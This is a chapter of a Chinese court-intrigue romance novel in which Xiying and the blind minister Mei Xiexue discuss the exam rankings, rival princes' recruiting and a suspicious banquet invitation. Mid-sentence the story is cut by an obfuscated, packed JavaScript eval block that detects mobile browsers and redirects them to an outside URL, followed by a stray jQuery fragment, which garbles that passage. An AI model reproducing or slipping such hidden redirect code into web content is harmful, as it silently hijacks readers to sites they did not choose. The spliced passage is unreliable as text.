为了不惊扰梅府的其他人,息影是一路用轻功回的房间。
月色披云,树影疏落,偶有几只飞鸟震着翅膀掠过树梢。她身轻如燕,点过几重屋脊,衣袂拂风无声,半晌过后落在一片熟悉的雕花窗前。
在听到窗户被打开的那一瞬间,梅谢雪立马从床上惊起,“息影,是你吗?”声音里带着清晰的急切。
息影反手合上窗,将夜色隔绝在外,屋里只燃着一支小烛,昏黄柔软的光亮也映照的她眉目柔和下来,她快步走到他身边,俯下身子,声音轻柔:“是我是我,放心。”
“怎的去了这么久?”梅谢雪的声音还带着一丝干涩,眉目间确是关切。
“有些意外......”息影看了看手上沾着的泥巴,嫌弃道,“我先去洗个手,等下细说,对了,澄平帝召你进宫说了些什么?”
这一会的功夫,梅谢雪已经披了件衣服端坐在床头了,“无非便是科考的排名,他想问问我的主意。”
“那你是怎么说的?”息影就着微弱的光亮看清手掌和指缝里夹杂着的黑泥——是在尹间霖家屋顶上潜伏时蹭的,边问边用盆里的清水洗净。
“我将尹间霖的位置硬生生压到了第七,第一是付成风,第二欧阳失,后头的几个便都是根据文华殿那些评议的大臣们的评议结果来的了。”梅谢雪平静道,只是“硬生生”这三个能听出他费了不小的力气说服澄平帝。
息影点点头,擦干了手上的水珠,再走到梅谢雪身边,戏谑道:“那尹间霖不愧是你看上的人,简直就是个香饽饽。”
梅谢雪听出来了她话里的意思,“蕴真是不是去找他了?”
“你怎么知道?”问出口后又觉得这句话问的多余,想必定然是梅谢雪的眼线们告诉他的。
梅谢雪笑道:“自然是我手下的星星们。”
“没个正经的!”息影轻推了一把,笑着嗔怪道。
“我差点以为她要用上美人计呢!就像那聊斋里写的一样,什么深更半夜破旧的院子里,一穷书生一美人,一来一回,又暗送秋波的,当时那尹间霖似乎瞧见蕴真时都看呆了,从脸上直红到耳朵根上去!”
息影讲起来绘声绘色,梅谢雪却不听她的添油加醋的随口胡诌,“那可遭了,那我们瞧上的人可要被别人哄骗了去!”
“那可不成,我花费了这么大力气,又是用我的三寸不烂之舌劝说,又是上房趴在屋顶上偷听,弄得我一手的泥一身的灰,届时人还没招揽到,我可不干!”息影佯装不服,她话风一转,“不过这蕴真也是厉害,说了一大串,眼看着就要将尹间霖说动,不过尹间霖这个人立场坚定,倒也没被三言两语说动。”
“而且呀,”息影调皮地绕到梅谢雪身侧,慢慢靠近他耳边,轻柔的鼻息拂过梅谢雪的耳朵,“蕴真原本想招揽的人,是你呢。”
息影看着梅谢雪的耳朵渐渐攀上一层绯红,像是即将散尽的晚霞,她嗤笑道:“我们家公子才真的是招人稀罕!”
梅谢雪晓得她在捉弄自己,也不甘示弱,伸出手精准地抓住了息影还未来得及收回的手腕,指尖轻触她只有薄薄一层的肌肤,身子一点点往前探,幽幽的烛火在他没什么神采的眼睛里跳跃,他压低了声音,“你说,若是我也学那聊斋,深夜房中,烛火昏昏,是不是像个诱人心魄的精怪?”
息影未料到他是这个反应,原先梅谢雪耳朵上的绯红仿佛偷偷渡到了她耳朵上似的,又悄悄染红了她的脸颊。
她的脸上有些茫然,下一秒又被狡黠取代,“精怪算什么,要是他舞到了我面前,我立马就抽他几个鞭子,也不问他姓甚名谁从哪里来所图为何,只把他用麻绳捆了倒吊在房梁上,让他哭着喊着求奶奶我饶命!”
梅谢雪听了这话先是一愣,而后低下头去轻声笑了,他的手从息影的手腕滑到息影的手上,紧紧握住,温热的温度在蔓延,“好了好了,不闹你了,咱们说正经的,我早派人暗中盯着了,蕴真早就派人将排名前几的举子挨个走访了个遍,只有尹间霖是她亲自上门去的。”
息影也收敛了玩笑的神色,端正起来,“那她还真挺重视尹间霖的,哦不对,是挺重视你的。”
梅谢雪淡淡一笑,“我还有什么值得重视的。”
“非也非也,我家公子一表人才玉洁松贞才高八斗运筹帷幄举世无双!”息影竖了个大拇指,“这些还不够让人重视的吗?”
“贫嘴!”梅谢雪笑骂,“不过被蕴真说动的人不多,大部分都是持反对态度,有几个摇摆不定,不过没有一人准确表示要偷靠她的。”
“蕴真野心不小,能力也不在她的几个哥哥之下,大家不过是看她是个女儿身,不敢赌一把罢了。”息影叹息道,在她心里蕴真这个人还是很有几分为君者的风度的,只是有时候目光放的太高罢了。
“既然蕴真出动了,澈思肯定也不会坐以待毙吧?”
“当然,”梅谢雪缓缓道,“他开出了十分丰厚的条件,又加上他那炉火纯青登峰造极的演技和能叫人为之上刀山下火海的三寸不烂之舌,有不少人愿意当他的座门下客。”
息影摇摇头,“这澈思是打算以量取胜吗,啧啧啧,不过我们可是更看中质量。”
梅谢雪分析着局势,“下一步,他应该要笼络更多的势力了。”
“除了科举外,还有什么途径?”息影思索片刻,“难道是——联姻?”
梅谢雪点点头,苍白的月光洒在他乌黑的发间,眉毛微微蹙起,显出几分凝重来,“联姻向来是贵族间最快也最稳固的结盟方式,京中的适龄贵女众多,恐怕澈思已经私下里联络了许多大臣为他牵线搭桥。”
“你怎知有大臣为他牵线搭桥?”
梅谢雪站起身,循着自己的记忆和熟悉的方向摸索过去,最终停在书桌前,他的手在上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172221|196849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面胡乱摸,像是在找什么东西。
息影见状,立马上前拿起桌上多出的一副请帖,塞到他手里,“是这个吗?”
梅谢雪在上头摸了摸,点头,“对,是这个,这是德阳侯夫人送来的帖子。”
息影在脑子里检索了一番,忽而眼色一沉“德阳侯夫人,是董家的人,澈思的母家?”
"不错。"梅谢雪点点头。
息影翻开帖子看了看,“春日宴?想必还是邀了许多京中贵女前去吧!”
息影用脚指头想也知道这德阳侯夫人打的什么算盘,那算盘珠子都快蹦到她脸上来了,只是她想不明白的是,“邀请你就算了,可她为什么还要邀请我?若是我在场的话不就有碍于他们相看吗?他们不应该邀了一大群贵女然后独独漏了我这个梅相的侍妾才对吗,况且我只是个侍妾,又不是正妻,上不得台面。”
梅谢雪却不认同,清冷的月光洒在他如高山深壑般的眉宇间,“哪里上不得台面?在我眼里,你最上的了台面。”
他的声音不重,却像一枚石子抛入静湖,在月光下荡开一圈圈暧昧朦胧的涟漪,息影的脸有些发烫。
“这件事,应当少不了澈思的授意,”梅谢雪道,“不过我暂时也想不明白他为何有这种多此一举的举动,分明我与他之间早已是隔了一片汪洋的仇恨。”
说到这,梅谢雪又想起那个艳阳高照的明媚春日,父亲慈祥亲切的面容,他仅剩的光亮中刺眼的红色,还有柳絮纷飞的高楼之上,急促的尖锐破空声和利箭没入皮肉的沉闷声响,以及于伯如蒲公英般随风而逝的脆弱苦痛的一生。
窗外夜色更浓,云层掩去半弯弦月,只余风声穿过庭院,带来一片料峭春寒。
息影察觉了他的情绪,他们很近,她伸出手拢住他,头轻轻靠在他的肩膀上,“去便去,和你在同一个地方,我还能安心些,放心吧,会有尘埃落定的那天的。”
听到梅谢雪轻而浅的呼吸声息影明白他已经睡着了,她侧过头,月光偶尔从云层中逃脱一缕,落在梅谢雪清瘦的轮廓。
息影在不完全的黑暗中,望向模糊的帐顶,其实她也有些忧虑,在看到那张带有澈思不明意味的春日宴请帖,她恍然间想起那日在皇宫里她撞见的两个人,还有那若隐若现却令她一辈子也忘不掉的侧脸。
澈思的目标若是皇位的话,他就势必需要很多的势力来支撑自己,不管是文臣还是武将,也不管是朝堂还是......江湖草莽。
前路注定荆棘遍生,可她势必要撞个头破血流,更何况身边还有一个同行之人,留了血破了相受了苦也只管往肚子里咽,就这样怀着不破楼兰终不还的勇气决心催人向前,直至太平年至。
窗外,更梆声遥遥传来,已经是三更天了。万籁俱寂,只有夜风略过檐角,发出细微的呜咽,宣告前路的艰难。
难吗?
她不怕。